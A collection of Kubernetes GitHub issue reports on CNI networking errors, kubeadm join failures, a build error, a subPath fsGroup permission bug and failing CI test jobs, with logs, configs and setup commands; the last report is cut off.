<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r after setup cni plugins calico, kubelet could create pods, it is shown\r    \r mysql:\r     container id:   docker://e2dd9ae4932a5a06b1fb46a4b53014550a7f080a49c31f6ad96f4aba78a39f15\r     image:          mysql\r     image id:       docker://sha256:141d24fea983762df4ac56412efa996064e1db106eca2e2c150d821944b82a1c\r     port:           3306/tcp\r     state:          waiting\r       reason:       runcontainererror\r     last state:     terminated\r       reason:       containercannotrun\r       message:      cannot join network of a non running container: 83f985eb93329432b6a08387da0892087016157510dd07623d6f3e483d01e95d\r       exit code:    128\r normal   scheduled               19m                 default-scheduler       successfully assigned mysql-vhlhf to 10.110.18.108\r   warning  failedcreatepodsandbox  19m  x6 over 19m    kubelet, 10.110.18.108  failed create pod sandbox.\r   warning  failedsync              19m  x6 over 19m    kubelet, 10.110.18.108  error syncing pod\r   normal   sandboxchanged          19m  x6 over 19m    kubelet, 10.110.18.108  pod sandbox changed, it will be killed and re-created.\r   warning  missingclusterdns       4m  x212 over 19m   kubelet, 10.110.18.108  kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  \r name          ready     status              restarts   age\r mysql-vhlhf   0/1       runcontainererror   0          24m\r myweb-gpk2z   0/1       imagepullbackoff    0          24m\r myweb-ntjvb   0/1       imagepullbackoff    0          24m\r    \r the pod of caclico is run  and logs has no error, the routing looks no wrong\r    \r calico-node-jsbgw                         2/2       running   0          1d\r calico-node-mpctp                         2/2       running   0          10h\r calico-policy-controller-8cbf94c4-tvzv4   1/1       running   0          1d\r destination     gateway         genmask         flags metric ref    use iface\r    \r    \r default         gateway         0.0.0.0         ug    100    0        0 eth0\r 10.110.18.0     0.0.0.0         255.255.255.0   u     100    0        0 eth0\r 172.17.0.0      0.0.0.0         255.255.0.0     u     0      0        0 docker0\r 192.168.20.0    0.0.0.0         255.255.255.192 u     0      0        0  \r 192.168.102.128 10.110.18.108   255.255.255.192 ug    0      0        0 tunl0\r    \r the kubelet logs have some error\r    \r sep 13 19:45:46 localhost kubelet 1331 : e0913 19:45:46.659525    1331 cni.go:301  error adding network: unauthorized\r sep 13 19:45:46 localhost kubelet 1331 : e0913 19:45:46.659564    1331 cni.go:250  error while adding to cni network: unauthorized\r sep 13 19:45:46 localhost kubelet 1331 : e0913 19:45:46.782873    1331 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ myweb-gpk2z_default\  network: unauthorized\r sep 13 19:45:50 localhost kubelet 1331 : 2017-09-13 19:45:50.268  info  20485  k8s.go 367: teardown processing complete. workload=\ default.myweb-gpk2z\  endpoint=  api.workloadendpoint  nil \r sep 13 19:45:50 localhost kubelet 1331 : w0913 19:45:50.277256    1331 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ c3a677dfcc79eb72ea16f9fe9c327c0372a9959b7efefb5e35c9c56a10318343\ \r \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-beta.1\ , gitcommit:\ 8c025bc2f23a3be059bf9a7d05867a8cb6f52ea8\ , gittreestate:\ clean\ , builddate:\ 2017-09-08t01:23:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-beta.1\ , gitcommit:\ 8c025bc2f23a3be059bf9a7d05867a8cb6f52ea8\ , gittreestate:\ clean\ , builddate:\ 2017-09-08t01:06:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r docker\r    \r server version: 17.06.2-ce\r storage driver: overlay\r  backing filesystem: xfs\r  supports d_type: false\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins: \r  volume: local\r  network: bridge host macvlan null overlay\r  log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog\r swarm: inactive\r runtimes: runc\r default runtime: runc\r init binary: docker-init\r containerd version: 6e23458c129b551d5c9871e5174f6b1b7f6d1170\r runc version: 810190ceaa507aa2727d7ae6f4790c76ec150bd2\r init version: 949e6fa\r security options:\r  seccomp\r   profile: default\r kernel version: 3.10.0-327.el7.x86_64\r operating system: centos linux 7  core \r ostype: linux\r architecture: x86_64\r cpus: 4\r total memory: 7.64gib\r name: localhost\r id: zwqt:ky4k:7uc3:afl7:6pey:dh7q:dhov:okdh:p23i:j6qn:w4yl:sl4p\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r experimental: false\r insecure registries:\r  127.0.0.0/8\r live restore enabled: false\r \r    \r - cloud provider or hardware configuration  :\r openstack\r - os  e.g. from /etc/os-release :\r centos 7.2\r - kernel  e.g.  uname -a  :\r    \r linux localhost 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r manual installation\r kubelet cfg\r    \r   pod infrastructure container\r kubelet_pod_infra_container=\ --pod-infra-container-image=registry.access.redhat.com/rhel7/pod-infrastructure:latest\ \r \r   add your own!\r kubelet_args=\  --kubeconfig=/etc/kubernetes/kubelet.kubeconfig.yaml --hostname-override=10.110.18.107 --address=10.110.18.107 --port=10250  --allow-privileged=true --network-plugin=cni --allow-privileged=true\ \r    \r kubelet.kubeconfig.yaml \r    \r apiversion: v1\r kind: config\r clusters:\r   - cluster:\r       server: http://10.110.18.107:8080\r     name: kubernetes\r contexts:\r   - context:\r       cluster: kubernetes\r       user: kubelet\r     name: kubelet-to-kubernetes\r current-context: kubelet-to-kubernetes\r users:\r   - name: kubelet\r ~                 \r    \r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the service controller does not log event to glog like other controllers\r \r   what you expected to happen  :\r \r i expect logs to be sent to the apiserver as well as the stdout.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r make the service controller trigger events by running k8s with a cloud provider enabled & create a lb service. \r \r \r pr:  53487

hi, i have created a kubernetes cluster but the  kubeadm join  returns the error:\r \r    \r root@nodo1:~  kubeadm join --token 53762b.7b646ca3e558be4c 10.0.2.15:6443 --discovery-token-ca-cert-hash sha256:40b15a8b5914e531cd938d8635aab0ef9cdf3b977adf573365c4dd557f17f406\r  preflight  running pre-flight checks.\r          warning systemverification : docker version is greater than the most recently validated version. docker version: 17.12.0-ce. max validated version: 17.03\r          warning fileexisting-crictl : crictl not found in system path\r  discovery  trying to connect to api server \ 10.0.2.15:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://10.0.2.15:6443\ \r  discovery  failed to request cluster info, will try again:  get https://10.0.2.15:6443/api/v1/namespaces/kube-public/configmaps/cluster-info: dial tcp 10.0.2.15:6443: getsockopt: connection refused \r  discovery  failed to request cluster info, will try again:  get https://10.0.2.15:6443/api/v1/namespaces/kube-public/configmaps/cluster-info: dial tcp 10.0.2.15:6443: getsockopt: connection refused \r    \r \r can you help me?\r \r the port 6443 is listen in master and i don't have enabled the firewall.\r \r \r    \r tcp6       0      0 :::6443                 :::                     listen      17208/kube-apiserve\r    \r \r    \r root@master:~  ufw status\r status: inactive\r root@nodo1:~  ufw status\r status: inactive\r    \r \r thanks so much!!.\r \r xavier.\r \r \r steps\r ====\r \r \r vagrantfile\r -----------\r    \r   - - mode: ruby - -\r   vi: set ft=ruby :\r \r   every vagrant development environment requires a box. you can search for \r   boxes at https://atlas.hashicorp.com/search.\r \r box_image = \ bento/ubuntu-16.04\ \r nodo_count = 2\r \r vagrant.configure \ 2\   do |config|\r   config.vm.define \ master\  do |subconfig|\r       subconfig.vm.box = box_image\r       subconfig.vm.hostname = \ master\ \r       subconfig.vm.network :private_network, ip: \ 10.0.0.10\ \r   end\r   \r    1..nodo_count .each do |i|\r   \tconfig.vm.define \ nodo {i}\  do |subconfig|\r   \t\tsubconfig.vm.box = box_image\r   \t\tsubconfig.vm.hostname = \ nodo {i}\ \r   \t\tsubconfig.vm.network :private_network, ip: \ 10.0.0. {i + 10}\ \r   \tend\r   end\r   \t\r      install avahi on all machines \r    config.vm.provision \ shell\ , inline: <<-shell \r    apt-get install -y avahi-daemon libnss-mdns\r    shell\r end\r    \r    \r vagrant up\r    \r \r docker installation\r ---------------------\r master and all nodes\r    \r sudo apt-get remove docker docker-engine docker.io\r sudo apt-get update\r sudo apt-get install linux-image-extra-$ uname -r  linux-image-extra-virtual\r sudo apt-get update\r sudo apt-get install apt-transport-https ca-certificates curl software-properties-common\r curl -fssl https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\r sudo add-apt-repository \ deb  arch=amd64  https://download.docker.com/linux/ubuntu $ lsb_release -cs  stable\ \r sudo apt-get update\r sudo apt-get install docker-ce\r sudo docker run hello-world\r    \r \r kubeadm installation\r -----------------------\r master and all nodes\r \r https://kubernetes.io/docs/setup/independent/install-kubeadm/\r    \r sudo -i\r apt-get update && apt-get install -y apt-transport-https\r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof >/etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-xenial main\r eof\r apt-get update\r apt-get install -y kubelet kubeadm kubectl\r    \r \r cluster inicialization\r ----------------------\r only in master\r \r https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r \r    \r sudo -i\r swapoff -a\r    \r \r for allways:\r    \r now your swap entry on /etc/fstab will look similar to this:\r  uuid=xxxxxxxx-xxxx-xxxxx-xxx-xxxxxxxxxxx none            swap    sw              0       0\r    \r    \r kubeadm init\r    \r \r =========>\r    \r your kubernetes master has initialized successfully!\r \r to start using your cluster, you need to run the following as a regular user:\r \r   mkdir -p $home/.kube\r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r   sudo chown $ id -u :$ id -g  $home/.kube/config\r \r you should now deploy a pod network to the cluster.\r run \ kubectl apply -f  podnetwork .yaml\  with one of the options listed at:\r   https://kubernetes.io/docs/concepts/cluster-administration/addons/\r \r you can now join any number of machines by running the following on each node\r as root:\r \r   kubeadm join --token 53762b.7b646ca3e558be4c 10.0.2.15:6443 --discovery-token-ca-cert-hash sha256:40b15a8b5914e531cd938d8635aab0ef9cdf3b977adf573365c4dd557f17f406\r \r    \r \r without root:\r    \r   mkdir -p $home/.kube\r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r   sudo chown $ id -u :$ id -g  $home/.kube/config\r    \r with root\r    \r sudo -i\r export kubeconfig=/etc/kubernetes/admin.conf\r    \r \r weave net installation\r -------------------------\r    \r sudo -i\r export kubever=$ kubectl version | base64 | tr -d '\ ' \r kubectl apply -f \ https://cloud.weave.works/k8s/net?k8s-version=$kubever\ \r    \r    \r root@master:~  kubectl get pods --all-namespaces\r namespace     name                             ready     status    restarts   age\r kube-system   etcd-master                      1/1       running   0          59s\r kube-system   kube-apiserver-master            1/1       running   0          59s\r kube-system   kube-controller-manager-master   1/1       running   0          59s\r kube-system   kube-dns-6f4fd4bdf-wc56k         3/3       running   0          7m\r kube-system   kube-proxy-5frr9                 1/1       running   0          7m\r kube-system   kube-scheduler-master            1/1       running   0          59s\r kube-system   weave-net-7ccwp                  2/2       running   0          1m\r    \r \r node join\r ------------\r    \r root@nodo1:~  kubeadm join --token 53762b.7b646ca3e558be4c 10.0.2.15:6443 --discovery-token-ca-cert-hash sha256:40b15a8b5914e531cd938d8635aab0ef9cdf3b977adf573365c4dd557f17f406\r  preflight  running pre-flight checks.\r          warning systemverification : docker version is greater than the most recently validated version. docker version: 17.12.0-ce. max validated version: 17.03\r          warning fileexisting-crictl : crictl not found in system path\r  discovery  trying to connect to api server \ 10.0.2.15:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://10.0.2.15:6443\ \r  discovery  failed to request cluster info, will try again:  get https://10.0.2.15:6443/api/v1/namespaces/kube-public/configmaps/cluster-info: dial tcp 10.0.2.15:6443: getsockopt: connection refused \r  discovery  failed to request cluster info, will try again:  get https://10.0.2.15:6443/api/v1/namespaces/kube-public/configmaps/cluster-info: dial tcp 10.0.2.15:6443: getsockopt: connection refused \r    \r \r but in master:\r    \r root@master:~  netstat -ntlp | grep listen\r tcp        0      0 127.0.0.1:10248         0.0.0.0:                listen      16673/kubelet\r tcp        0      0 127.0.0.1:10249         0.0.0.0:                listen      17363/kube-proxy\r tcp        0      0 127.0.0.1:10251         0.0.0.0:                listen      17062/kube-schedule\r tcp        0      0 127.0.0.1:2379          0.0.0.0:                listen      16982/etcd\r tcp        0      0 127.0.0.1:10252         0.0.0.0:                listen      17125/kube-controll\r tcp        0      0 127.0.0.1:2380          0.0.0.0:                listen      16982/etcd\r tcp        0      0 0.0.0.0:22              0.0.0.0:                listen      1077/sshd\r tcp        0      0 0.0.0.0:6783            0.0.0.0:                listen      18096/weaver\r tcp        0      0 127.0.0.1:6784          0.0.0.0:                listen      18096/weaver\r tcp6       0      0 :::10250                :::                     listen      16673/kubelet\r tcp6       0      0 :::6443                 :::                     listen      17208/kube-apiserve\r tcp6       0      0 :::10255                :::                     listen      16673/kubelet\r tcp6       0      0 :::10256                :::                     listen      17363/kube-proxy\r tcp6       0      0 :::22                   :::                     listen      1077/sshd\r tcp6       0      0 :::6781                 :::                     listen      18517/weave-npc\r tcp6       0      0 :::6782                 :::                     listen      18096/weaver\r    \r    \r root@master:~  ufw status\r status: inactive\r    \r \r and in \ nodo1\ ...\r \r    \r root@nodo1:~  netstat -ntlp | grep listen\r tcp        0      0 0.0.0.0:22              0.0.0.0:                listen      1100/sshd\r tcp6       0      0 :::22                   :::                     listen      1100/sshd\r root@nodo1:~  ufw status\r status: inactive\r    \r \r    \r root@nodo1:~  ping 10.0.2.15\r ping 10.0.2.15  10.0.2.15  56 84  bytes of data.\r 64 bytes from 10.0.2.15: icmp_seq=1 ttl=64 time=0.028 ms\r 64 bytes from 10.0.2.15: icmp_seq=2 ttl=64 time=0.026 ms\r 64 bytes from 10.0.2.15: icmp_seq=3 ttl=64 time=0.025 ms\r    \r \r net configuration\r --------------------\r    \r root@master:~  ifconfig\r datapath  link encap:ethernet  hwaddr 7e:d8:32:a6:f0:f0\r           inet6 addr: fe80::7cd8:32ff:fea6:f0f0/64 scope:link\r           up broadcast running multicast  mtu:1376  metric:1\r           rx packets:46 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:16 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1\r           rx bytes:5410  5.4 kb   tx bytes:2084  2.0 kb \r \r docker0   link encap:ethernet  hwaddr 02:42:45:5d:27:2e\r           inet addr:172.17.0.1  bcast:172.17.255.255  mask:255.255.0.0\r           inet6 addr: fe80::42:45ff:fe5d:272e/64 scope:link\r           up broadcast multicast  mtu:1500  metric:1\r           rx packets:0 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:3 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:0\r           rx bytes:0  0.0 b   tx bytes:258  258.0 b \r \r eth0      link encap:ethernet  hwaddr 08:00:27:10:47:e3\r           inet addr:10.0.2.15  bcast:10.0.2.255  mask:255.255.255.0\r           inet6 addr: fe80::a00:27ff:fe10:47e3/64 scope:link\r           up broadcast running multicast  mtu:1500  metric:1\r           rx packets:347437 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:154788 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1000\r           rx bytes:447474386  447.4 mb   tx bytes:9757559  9.7 mb \r \r eth1      link encap:ethernet  hwaddr 08:00:27:82:cf:89\r           inet addr:10.0.0.10  bcast:10.0.0.255  mask:255.255.255.0\r           inet6 addr: fe80::a00:27ff:fe82:cf89/64 scope:link\r           up broadcast running multicast  mtu:1500  metric:1\r           rx packets:71 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:24 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1000\r           rx bytes:9602  9.6 kb   tx bytes:3594  3.5 kb \r           interrupt:16 base address:0xd240\r \r lo        link encap:local loopback\r           inet addr:127.0.0.1  mask:255.0.0.0\r           inet6 addr: ::1/128 scope:host\r           up loopback running  mtu:65536  metric:1\r           rx packets:249310 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:249310 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1\r           rx bytes:59983692  59.9 mb   tx bytes:59983692  59.9 mb \r \r vethwe-bridge link encap:ethernet  hwaddr 12:86:24:e5:8a:fb\r           inet6 addr: fe80::1086:24ff:fee5:8afb/64 scope:link\r           up broadcast running multicast  mtu:1376  metric:1\r           rx packets:31 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:47 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:0\r           rx bytes:4078  4.0 kb   tx bytes:6144  6.1 kb \r \r vethwe-datapath link encap:ethernet  hwaddr 2e:9e:56:4c:12:df\r           inet6 addr: fe80::2c9e:56ff:fe4c:12df/64 scope:link\r           up broadcast running multicast  mtu:1376  metric:1\r           rx packets:47 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:31 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:0\r           rx bytes:6144  6.1 kb   tx bytes:4078  4.0 kb \r \r vethweplae45578 link encap:ethernet  hwaddr ee:25:03:21:b3:cd\r           inet6 addr: fe80::ec25:3ff:fe21:b3cd/64 scope:link\r           up broadcast running multicast  mtu:1376  metric:1\r           rx packets:6895 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:8427 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:0\r           rx bytes:1765424  1.7 mb   tx bytes:1746029  1.7 mb \r \r vxlan-6784 link encap:ethernet  hwaddr b2:90:c2:01:0a:9f\r           inet6 addr: fe80::b090:c2ff:fe01:a9f/64 scope:link\r           up broadcast running multicast  mtu:65485  metric:1\r           rx packets:0 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:0 errors:0 dropped:16 overruns:0 carrier:0\r           collisions:0 txqueuelen:1000\r           rx bytes:0  0.0 b   tx bytes:0  0.0 b \r \r weave     link encap:ethernet  hwaddr ce:39:f3:93:17:2d\r           inet addr:10.32.0.1  bcast:0.0.0.0  mask:255.240.0.0\r           inet6 addr: fe80::cc39:f3ff:fe93:172d/64 scope:link\r           up broadcast running multicast  mtu:1376  metric:1\r           rx packets:6925 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:8438 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1000\r           rx bytes:1672462  1.6 mb   tx bytes:1747837  1.7 mb \r    \r    \r root@nodo1:~  ifconfig\r docker0   link encap:ethernet  hwaddr 02:42:56:63:e1:5b\r           inet addr:172.17.0.1  bcast:172.17.255.255  mask:255.255.0.0\r           inet6 addr: fe80::42:56ff:fe63:e15b/64 scope:link\r           up broadcast multicast  mtu:1500  metric:1\r           rx packets:0 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:3 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:0\r           rx bytes:0  0.0 b   tx bytes:258  258.0 b \r \r eth0      link encap:ethernet  hwaddr 08:00:27:10:47:e3\r           inet addr:10.0.2.15  bcast:10.0.2.255  mask:255.255.255.0\r           inet6 addr: fe80::a00:27ff:fe10:47e3/64 scope:link\r           up broadcast running multicast  mtu:1500  metric:1\r           rx packets:235452 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:113598 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1000\r           rx bytes:210171231  210.1 mb   tx bytes:7163294  7.1 mb \r \r eth1      link encap:ethernet  hwaddr 08:00:27:23:4c:a7\r           inet addr:10.0.0.11  bcast:10.0.0.255  mask:255.255.255.0\r           inet6 addr: fe80::a00:27ff:fe23:4ca7/64 scope:link\r           up broadcast running multicast  mtu:1500  metric:1\r           rx packets:58 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:24 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1000\r           rx bytes:6878  6.8 kb   tx bytes:3582  3.5 kb \r           interrupt:16 base address:0xd240\r \r lo        link encap:local loopback\r           inet addr:127.0.0.1  mask:255.0.0.0\r           inet6 addr: ::1/128 scope:host\r           up loopback running  mtu:65536  metric:1\r           rx packets:290 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:290 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1\r           rx bytes:17152  17.1 kb   tx bytes:17152  17.1 kb \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r cross build failed:\r \r    \r   k8s.io/kubernetes/pkg/util/io\r pkg/util/io/writer.go:61:21: cannot use echoargs  type   string  as type string in argument to ne.exec\r pkg/util/io/writer.go:71:29: cannot use chmodargs  type   string  as type string in argument to ne.exec\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

fix status:  \r -  x  fixed in master in https://github.com/kubernetes/kubernetes/pull/61284, will be in 1.10.0\r -  x  fixed in release-1.9 branch in https://github.com/kubernetes/kubernetes/pull/61308, will be in 1.9.7\r -  x  fixed in release-1.8 branch in https://github.com/kubernetes/kubernetes/pull/61309, will be in 1.8.11\r -  x  fixed in release-1.7 branch in https://github.com/kubernetes/kubernetes/pull/61310, will be in 1.7.16\r \r subpaths of volumes with fsgroup may be mounted into a container without sgid bit on themselves:\r \r    sh\r $ kubectl create -f - <<eof                                                                                                                kind: pod\r apiversion: v1\r metadata: { name: \ subpath\  }\r spec:\r   volumes:\r     - { name: \ direct\ ,  emptydir: {}}\r     - { name: \ subpath\ , emptydir: {}}\r   securitycontext:\r     fsgroup: 100\r     runasuser: 35\r   containers:\r     - image: aosqe/hello-openshift\r       name: show\r       volumemounts:\r         - name: \ direct\ \r           mountpath: \ /mnt/direct\ \r         - name: \ subpath\ \r           mountpath: \ /mnt/subpath\ \r           subpath: \ a\ \r eof\r \r $ kubectl exec -ti subpath -- ls /mnt -la\r drwxrwsrwx    2 root     users            6 mar 16 15:13 direct\r drwxrwxrwx    2 root     users            6 mar 16 15:13 subpath\r    \r \r the mode of  subpath  should be  drwxrwsrwx  instead of  drwxrwxrwx .\r \r reason for this is  fchmod  at https://github.com/kubernetes/kubernetes/blob/5110db5087513801fc5946abcbd73c44e692b2c8/pkg/util/mount/mount_linux.go l1035:\r \r    go\r \tif err = syscall.fchmod parentfd, uint32 perm &uint32 os.modeperm  ; err != nil {\r \t\treturn fmt.errorf \ chmod %q failed: %s\ , currentpath, err \r \t}\r    \r \r 1. it should not filter out sgid/suid/sticky flags with  &os.modeperm \r 2.  fchmod    int32 argument expects suid/sgid/sticky flags on different bits than  os.filemode .\r \r \r   @liggitt

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r https://k8s-testgrid.appspot.com/google-gke gci-gke-alpha-features test suite has been failing since sept 27. failing to bring cluster up: \r \r    \r test failures\r beforesuite 10m6s\r go run hack/e2e.go -v --test --test_args='--ginkgo.focus=beforesuite$'\r _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:137\r oct  5 16:35:23.903: error waiting for all pods to be running and ready: 2 / 19 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                                    node                                           phase   grace conditions\r kube-dns-7df7d6c969-7cr6s              gke-e2e-32483-7506d-default-pool-eb898fb6-dpdq running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-05 16:22:23 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-05 16:22:23 +0000 utc reason:containersnotready message:containers with unready status:  kubedns sidecar } {type:containersready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-05 16:22:23 +0000 utc reason:containersnotready message:containers with unready status:  kubedns sidecar } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-05 16:22:23 +0000 utc reason: message:} \r metrics-server-v0.3.1-66499c78f6-xcqgr gke-e2e-32483-7506d-default-pool-eb898fb6-dpdq running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-05 16:22:23 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-05 16:32:37 +0000 utc reason:containersnotready message:containers with unready status:  metrics-server } {type:containersready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-05 16:32:37 +0000 utc reason:containersnotready message:containers with unready status:  metrics-server } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-05 16:22:23 +0000 utc reason: message:} \r \r _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:190\r \r    \r \r example:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/32491\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

please see discussion in:\r - https://github.com/heketi/heketi/issues/1279\r - https://github.com/kubernetes/kubernetes/issues/35557 issuecomment-436973405\r \r once things are fixed we need to update k/k with latest from heketi repo\r \r alternative : drop glusterfs in-tree plugin

https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=containerd\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=containerd e927cd3b7abc588dea28:\r ! screen shot 2019-01-12 at 3 14 04 pm  https://user-images.githubusercontent.com/980082/51078014-cb0ea080-167c-11e9-8e50-be22130cc7c5.png \r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=containerd 2a1eabc27e9e628f3d83:\r ! screen shot 2019-01-12 at 3 13 55 pm  https://user-images.githubusercontent.com/980082/51078015-cba73700-167c-11e9-961e-54d7c723fa15.png \r \r \r   which jobs are failing  :\r    \r 29 ci-cri-containerd-e2e-ubuntu-gce ►\r  28 ci-containerd-e2e-gci-gce ►\r  27 ci-containerd-e2e-ubuntu-gce ►\r  25 ci-cri-containerd-e2e-gci-gce ►\r  30 ci-kubernetes-e2e-cos-containerd-gke-k8sstable1 ►\r  29 ci-containerd-e2e-gci-gce-1-2 ►\r  36 ci-kubernetes-e2e-cos-containerd-gke-k8sstable1-alpha-cluster ►\r  38 ci-kubernetes-e2e-cos-containerd-gke-k8sbeta ►\r  12 ci-cri-containerd-e2e-gci-gce-ip-alias ►\r  11 ci-cri-containerd-e2e-gci-gce-proto ►\r  23 ci-cri-containerd-e2e-gci-gce-slow ►\r  13 ci-cri-containerd-e2e-gce-multizone ►\r  23 ci-kubernetes-e2e-cos-containerd-gke-k8sstable1-alpha-cluster-features\r    \r \r   which test s  are failing  :\r    \r  206  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  ext3   volumes should be mountable ►\r  204  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  ext3   volumes should allow exec of files on the volume ►\r  203  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  ext4   volumes should allow exec of files on the volume ►\r  208  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   volumes should be mountable ►\r  203  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support existing single file ►\r  202  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  ext4   volumes should be mountable ►\r  206  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support existing directory ►\r  205  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   volumes should be mountable ►\r  205  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  xfs   volumes should be mountable ►\r  202  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  ext3   volumes should allow exec of files on the volume ►\r  202  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  xfs   volumes should allow exec of files on the volume ►\r  201  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  ext4   volumes 